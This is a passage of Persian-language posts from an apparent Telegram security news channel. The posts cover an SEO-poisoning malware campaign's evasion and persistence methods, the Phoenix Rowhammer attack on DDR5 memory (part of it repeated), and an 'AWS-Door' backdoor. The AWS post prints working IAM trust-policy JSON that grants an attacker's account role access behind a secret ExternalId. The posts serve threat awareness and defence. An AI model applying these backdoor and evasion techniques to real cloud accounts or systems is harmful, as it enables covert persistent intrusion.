EnumW.dll ترکیب شده است.3. افزایش سطح دسترسی (Privilege Escalation): پس از اجرا، نصبکننده MSI سطح دسترسی خود را به Administrator ارتقا میدهد.
فاز سوم: تکنیکهای (Anti-Analysis & Evasion)
این بدافزار از تکنیکهای پیشرفتهای برای اطمینان از اینکه فقط روی سیستم قربانی واقعی و نه در محیطهای تحلیل (Sandbox) یا ماشینهای مجازی (VM) اجرا میشود، استفاده میکند:
1۔ Parent Process Checks: بررسی میکند که توسط چه فرآیندی اجرا شده است.
2۔ Sleep Integrity Verification: با ارسال کوئریهای HTTP و بررسی هدر
Date ، یکپارچگی توابع تاخیر (Sleep) را میسنجد تا از تکنیکهای Fast-Forwarding در سندباکسها جلوگیری کند.3۔ ACPI Table Inspections: جداول ACPI سیستم را برای شناسایی نشانههای مجازیسازی بررسی میکند.
تنها پس از موفقیت در این بررسیها، بدافزار Payload نهایی خود را بازسازی و اجرا میکند.
فاز چهارم: استقرار Payload نهایی و ماندگاری (Payload Deployment & Persistence)
1. بازسازی Payload: فایل DLL مخرب (
EnumW.dll) تابعی به نام ooo89 را اجرا میکند. این تابع، مجموعهای از فایلهای ZIP تکهتکه شده (با نامهای temp_data_1 تا temp_data_55 ) را از دایرکتوری سیستم پیدا کرده، آنها را به یکدیگر متصل و یک فایل واحد به نام emoji.dat را ایجاد میکند. این فایل در واقع Payload نهایی است که پس از خارج شدن از حالت فشرده، مستقر میشود.2۔ Side-Loading برای ماندگاری: برای تضمین ماندگاری، بدافزار از تکنیک DLL Side-Loading استفاده میکند. یک فایل
vstdlib.dll پک شده در کنار فایلهای اجرایی دیگر قرار میگیرد تا هر بار که آن نرمافزار قانونی اجرا میشود، DLL مخرب نیز به صورت خودکار بارگذاری شود. این روش تحلیل را بسیار دشوار میکند.### خلاصه مطلب
این کمپین نشاندهنده سطح بالایی از پیچیدگی در حملات SEO Poisoning است. مهاجمان با ترکیب دامنههای جعلی، زنجیره دانلود چندمرحلهای، تکنیکهای پیشرفته فرار از تحلیل و مکانیزمهای ماندگاری هوشمندانه، شناسایی و مقابله را برای کاربران عادی و حتی سیستمهای امنیتی سنتی دشوار کردهاند.
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
آسیبپذیری جدید در حافظههای DDR5
حملهی Phoenix در دستهی حملات Rowhammer
برای درک Phoenix، ابتدا باید Rowhammer را بشناسیم. در حملات Rowhammer، مهاجم با دسترسی مکرر و سریع (Hammering) به یک ردیف (Row) از سلولهای حافظه، باعث ایجاد اختلال الکتریکی و نشت بار در ردیفهای مجاور میشود. این نشت بار میتواند مقدار یک بیت (از 0 به 1 یا برعکس) را در آن ردیفهای مجاور تغییر دهد.
این حمله نشان میدهد که تمام دستگاههای حافظه DDR5 ساخت شرکت SK Hynix (بزرگترین تولیدکننده DRAM در حال حاضر) همچنان به نسخه جدیدی از حملات Rowhammer آسیبپذیر هستند. محققان با مهندسی معکوس مکانیزمهای دفاعی in-DRAM Rowhammer این شرکت، به ساختار حفاظتی پیچیدهتری پی بردند که در برابر تمام الگوهای (Patterns) شناختهشدهی Rowhammer مقاومت میکند. با این حال، آنها با طراحی آزمایشهای دقیق، نقاط کور (blind spots) این مکانیزمهای دفاعی را شناسایی کردند.
مشخص شد که مکانیزم دفاعی، برخی از فواصل زمانی refresh را نمونهبرداری (sample) نمیکند. این کشف به محققان اجازه داد تا دو الگوی جدید و بسیار طولانی Rowhammer را بسازند که به طور مؤثر این دفاع را دور میزنند. برای اجرای این الگوهای طولانی که هزاران بازهی refresh را پوشش میدهند، یک روش جدید همگامسازی به نام Phoenix’s self-correcting refresh synchronization ابداع شد. این روش به طور خودکار عدم همزمانی با یک عملیات refresh را تشخیص داده و اجرای الگو را مجدداً تنظیم میکند.
ارزیابی Phoenix روی ۱۵ ماژول (DIMM) حافظه DDR5 از SK Hynix نشان داد که همهی آنها دارای bit flips هستند. همچنین، این bit flipها قابل بهرهبرداری (exploitable) بوده و محققان موفق شدند اولین اکسپلویت افزایش سطح دسترسی (privilege escalation) مبتنی بر Rowhammer را روی یک کامپیوتر با تنظیمات پیشفرض، تنها در ۱۰۹ ثانیه اجرا کنند.
### مهندسی معکوس DDR5
محققان از آزمایشهای مبتنی بر FPGA برای مطالعه رفتار مکانیزم دفاعی Target Row Refresh (TRR) استفاده کردند.
*۔ Zooming Out: آنها با اجرای الگوهای Rowhammer با طولهای افزایشی دریافتند که دورهی نمونهبرداری (sampling period) مکانیزم دفاعی پس از ۱۲۸ بازهی زمانی
tREFI تکرار میشود. این دوره، ۸ برابر بزرگتر از دورهی نمونهبرداری در نظر گرفته شده توسط الگوهای Rowhammer موجود است.*۔ Zooming In: بررسی دقیقتر نشان داد که در نیمهی اول این دوره (۶۴ بازهی
tREFI اول)، رفتار نمونهبرداری ثابتی وجود ندارد. اما در نیمهی دوم (۶۴ بازهی tREFI آخر)، یک الگوی تکرارشونده در هر چهار بازه دیده میشود. به طور مشخص، در دو بازهی اول از این چهار بازه، تقریباً هیچ نمونهبرداریای رخ نمیدهد. این بازهها lightly sampled intervals نامگذاری شدند و نقطهی کور اصلی برای طراحی حمله محسوب میشوند.### الگوهای جدید Rowhammer
با استفاده از نتایج مهندسی معکوس، دو الگوی جدید Rowhammer طراحی شد که مجموعاً مکانیزمهای دفاعی تمام ۱۵ ماژول DDR5 تست شده را دور میزنند.
* الگوی کوتاهتر (P128): این الگو از ۱۲۸ بازهی
tREFI تشکیل شده است. در نیمهی اول الگو، به دلیل رفتار نمونهبرداری نامنظم، هیچ عملیات Hammering انجام نمیشود. در نیمهی دوم، حمله تنها روی بازههای lightly sampled متمرکز میشود.* افزایش احتمال موفقیت: الگوی حمله باید با وضعیت داخلی شمارندهی refresh مکانیزم TRR دقیقاً همتراز (align) شود. مشخص شد که تنها ۲ آفست از ۱۲۸ آفست ممکن (۱.۵۶٪) آسیبپذیر هستند. برای افزایش شانس برخورد با آفست آسیبپذیر، محققان نسخههای شیفتدادهشدهی الگو را به صورت موازی روی چهار bank مختلف اجرا کردند. این کار احتمال موفقیت را ۱۶ برابر افزایش داد و به ۲۵٪ رساند.
### همگامسازی خود-اصلاحگر (Self-Correcting Synchronization)
یکی از چالشهای اصلی در پیادهسازی الگوهای Phoenix روی یک سیستم عادی، طول بسیار زیاد آنهاست (تا ۱۶۳ برابر طولانیتر از الگوهای فعلی). این طول زیاد، همگام ماندن با دستورات refresh را بسیار دشوار میکند و روشهای موجود مانند Zenhammer در این سناریو ناموفق بودند.
برای غلبه بر این چالش، روش جدید self-correcting refresh synchronization طراحی شد. این متد به جای تلاش برای شناسایی دقیق *هر* دستور refresh، بر تناوب زمانی این دستورات تکیه میکند. هر زمان که تشخیص دهد یک refresh از دست رفته است، به طور خودکار اجرای الگوی hammer را مجدداً تراز میکند. این نوآوری امکان همگام ماندن برای هزاران بازهی refresh را فراهم میآورد.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2
Mr. SAM
### نتایج ارزیابی
* آسیبپذیری: تمام ۱۵ ماژول DDR5 ساخت SK Hynix (تولید بین سالهای ۲۰۲۱ تا ۲۰۲۴) به یکی از دو الگوی کشفشده آسیبپذیر بودند.
اثربخشی: الگوی کوتاهتر (
قابلیت بهرهبرداری: بیت فلیپها برای سه نوع حمله عملی آزمایش شدند:
1. حمله به Page-Table Entries (PTEs) برای ساخت یک primitive خواندن/نوشتن دلخواه در حافظه (تمام ماژولها آسیبپذیر بودند).
2. حمله به کلیدهای RSA-2048 برای شکستن احراز هویت SSH (۷۳٪ از ماژولها آسیبپذیر بودند).
3. حمله به باینری sudo برای افزایش سطح دسترسی به کاربر root (۳۳٪ از ماژولها آسیبپذیر بودند).
متوسط زمان لازم برای یافتن اولین بیت فلیپ قابل بهرهبرداری و اجرای اکسپلویت افزایش سطح دسترسی تنها ۵ دقیقه و ۱۹ ثانیه بود.
### سوالات متداول و راهکارهای مقابله
آیا On-Die ECC (ODECC) در DDR5 جلوی Rowhammer را میگیرد؟
خیر. ODECC تنها پس از نوشتن داده یا در فواصل زمانی طولانی (مثلاً هر ۲۴ ساعت) بیتها را اصلاح میکند. حمله Phoenix با Hammering طولانیمدت، قبل از اینکه ODECC فرصت اصلاح پیدا کند، بیت فلیپ ایجاد میکند.
چگونه میتوان در برابر حمله Phoenix از خود محافظت کرد؟
به عنوان یک راهکار موقت برای ماژولهای موجود، تأیید شده است که سه برابر کردن نرخ refresh (کاهش
چرا Rowhammer با وجود DDR5 هنوز حل نشده است؟
الگوهای Phoenix نشان میدهند که مکانیزمهای دفاعی in-DRAM موجود، تنها در برابر حملات شناختهشده طراحی شدهاند و یک رویکرد اصولی و کامل برای ریشهکن کردن Rowhammer ندارند.
اطلاعات تکمیلی:
مشاهده آسیبپذیری با شناسه CVE-2025-6202
و (PoC) این حمله در گیتهاب
@NullError_ir
* آسیبپذیری: تمام ۱۵ ماژول DDR5 ساخت SK Hynix (تولید بین سالهای ۲۰۲۱ تا ۲۰۲۴) به یکی از دو الگوی کشفشده آسیبپذیر بودند.
اثربخشی: الگوی کوتاهتر (
P128) به طور میانگین ۲.۶۲ برابر مؤثرتر از الگوی بلندتر (P2608) بود و به طور متوسط ۴۹۸۹ بیت فلیپ ایجاد کرد.قابلیت بهرهبرداری: بیت فلیپها برای سه نوع حمله عملی آزمایش شدند:
1. حمله به Page-Table Entries (PTEs) برای ساخت یک primitive خواندن/نوشتن دلخواه در حافظه (تمام ماژولها آسیبپذیر بودند).
2. حمله به کلیدهای RSA-2048 برای شکستن احراز هویت SSH (۷۳٪ از ماژولها آسیبپذیر بودند).
3. حمله به باینری sudo برای افزایش سطح دسترسی به کاربر root (۳۳٪ از ماژولها آسیبپذیر بودند).
متوسط زمان لازم برای یافتن اولین بیت فلیپ قابل بهرهبرداری و اجرای اکسپلویت افزایش سطح دسترسی تنها ۵ دقیقه و ۱۹ ثانیه بود.
### سوالات متداول و راهکارهای مقابله
آیا On-Die ECC (ODECC) در DDR5 جلوی Rowhammer را میگیرد؟
خیر. ODECC تنها پس از نوشتن داده یا در فواصل زمانی طولانی (مثلاً هر ۲۴ ساعت) بیتها را اصلاح میکند. حمله Phoenix با Hammering طولانیمدت، قبل از اینکه ODECC فرصت اصلاح پیدا کند، بیت فلیپ ایجاد میکند.
چگونه میتوان در برابر حمله Phoenix از خود محافظت کرد؟
به عنوان یک راهکار موقت برای ماژولهای موجود، تأیید شده است که سه برابر کردن نرخ refresh (کاهش
tREFI به حدود 1.3us) جلوی ایجاد بیت فلیپ توسط Phoenix را میگیرد. این کار حدود ۸.۴٪ افت عملکرد (overhead) به همراه دارد.چرا Rowhammer با وجود DDR5 هنوز حل نشده است؟
الگوهای Phoenix نشان میدهند که مکانیزمهای دفاعی in-DRAM موجود، تنها در برابر حملات شناختهشده طراحی شدهاند و یک رویکرد اصولی و کامل برای ریشهکن کردن Rowhammer ندارند.
اطلاعات تکمیلی:
مشاهده آسیبپذیری با شناسه CVE-2025-6202
و (PoC) این حمله در گیتهاب
@NullError_ir
YouTube
Phoenix – Rowhammer Attacks on DDR5 ::: PTE Exploit Demo
This video demonstrates the end-to-end PTE exploit that we mounted using our novel Phoenix attack on DDR5. This is the first Rowhammer privilege escalation exploit on a DDR5 device.
For more information about Phoenix, please visit: https://comsec.ethz.ch/phoenix.…
For more information about Phoenix, please visit: https://comsec.ethz.ch/phoenix.…
یک تکنیک پیشرفته و پنهانکارانه برای ایجاد Persistence در زیرساخت AWS
مهاجمان پس از دسترسی اولیه به یک محیط ابری ، همواره به دنبال روشهایی برای حفظ دسترسی خود هستند تا بتوانند در آینده نیز به اهداف خود ادامه دهند. جدیدا محققان ، یک تکنیک بسیار پیشرفته، هوشمندانه و پنهانکارانه را برای ایجاد Backdoor در محیط Amazon Web Services (AWS) با نام AWS-Door را کشف کرده اند که در مقایسه با تکنیکهای رایج مانند ایجاد
AccessKey برای یک کاربر IAM، به مراتب سختتر قابل شناسایی است و به مهاجم اجازه میدهد تا یک دسترسی پایدار، مخفی و بلندمدت را برای خود تضمین کند.مکانیزم عملکرد تکنیک AWS-Door
ایده اصلی این تکنیک، نه ایجاد یک کاربر یا کلید دسترسی جدید، بلکه سوءاستفاده از و دستکاری Trust Policy در یک IAM Role موجود است. به جای اینکه مهاجم یک هویت جدید در اکانت قربانی ایجاد کند، به یک هویت (کاربر یا Role) در اکانت تحت کنترل خود ، اجازه دسترسی به اکانت قربانی را میدهد.
این فرآیند در چند مرحله کلیدی انجام میشود:
۱. شناسایی یک IAM Role با سطح دسترسی بالا
اولین قدم برای مهاجم، یافتن یک
IAM Role در اکانت قربانی است که دارای سطح دسترسیهای بالایی (مانند AdministratorAccess ) باشد. این Role هدف اصلی برای ایجاد Backdoor خواهد بود.۲. دستکاری Trust Policy یا AssumeRolePolicy
هر
IAM Role دارای یک Trust Policy است. این Policy مشخص میکند که چه موجودیتهایی (Principals) اجازه دارند این Role را Assume کرده و از دسترسیهای آن استفاده کنند. مهاجم با داشتن دسترسی کافی (نیازمند iam:UpdateAssumeRolePolicy)، این Policy را به گونهای تغییر میدهد که به یک IAM User یا IAM Role در اکانت AWS متعلق به خودش اجازه sts:AssumeRole بدهد.به عنوان مثال،
Trust Policy اصلی ممکن است به شکل زیر باشد:{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}مهاجم آن را به شکل زیر تغییر میدهد و
ARN مربوط به کاربر خود را در آن اضافه میکند:{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
},
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::ATTACKER_ACCOUNT_ID:user/attacker-user"
},
"Action": "sts:AssumeRole"
}
]
}اکنون کاربر
attacker-user از اکانت مهاجم ( ATTACKER_ACCOUNT_ID ) میتواند Role موجود در اکانت قربانی را Assume کرده و تمام دسترسیهای آن را به دست آورد.۳. افزایش پنهانکاری با استفاده از Condition و External ID
برای اینکه این Backdoor از دید تیمهای امنیتی و ابزارهای مانیتورینگ مخفی بماند، مهاجمان از یک لایه پیچیدگی بیشتر استفاده میکنند: Condition و sts:ExternalId .
مهاجم میتواند یک
Condition به Trust Policy اضافه کند که تنها در صورتی اجازه AssumeRole را بدهد که یک External ID خاص و محرمانه نیز در درخواست ارائه شود. External ID یک رشته دلخواه است که مهاجم آن را تعیین میکند.{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::ATTACKER_ACCOUNT_ID:user/attacker-user"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "UNIQUE-SECRET-STRING-CHOSEN-BY-ATTACKER"
}
}
}این کار دو مزیت اساسی برای مهاجم دارد:
* پنهانکاری بالا: بسیاری از اسکنرها و حتی تحلیلگران امنیتی،
Trust Policy هایی که به اکانتهای خارجی دسترسی میدهند را به عنوان یک پیکربندی رایج (مثلاً برای سرویسهای Third-party) در نظر گرفته و به سادگی از کنار آن عبور میکنند. اما الزام وجود External ID ، این دسترسی را به یک کلید مخفی مشروط میکند.* جلوگیری از حملات Confused Deputy : این مکانیسم از نظر فنی یک لایه امنیتی است، اما در اینجا توسط مهاجم برای کنترل انحصاری Backdoor مورد سوءاستفاده قرار میگیرد.
با این روش، مهاجم نیازی به ذخیره هیچگونه Credential (مانند Access Key) در محیط قربانی ندارد و تمام عملیات را از اکانت خود و با هویت کنترل شده خود انجام میدهد.
## چرا AWS-Door یک تهدید جدی است؟
* ماندگاری بالا (High Durability): این Backdoor به تغییر رمز عبور کاربران، حذف
AccessKey ها یا حتی حذف کاربری که مهاجم در ابتدا از طریق آن نفوذ کرده، وابسته نیست. تا زمانی که Trust Policy مربوط به آن IAM Role اصلاح نشود، دسترسی مهاجم باقی خواهد ماند.Please open Telegram to view this post
VIEW IN TELEGRAM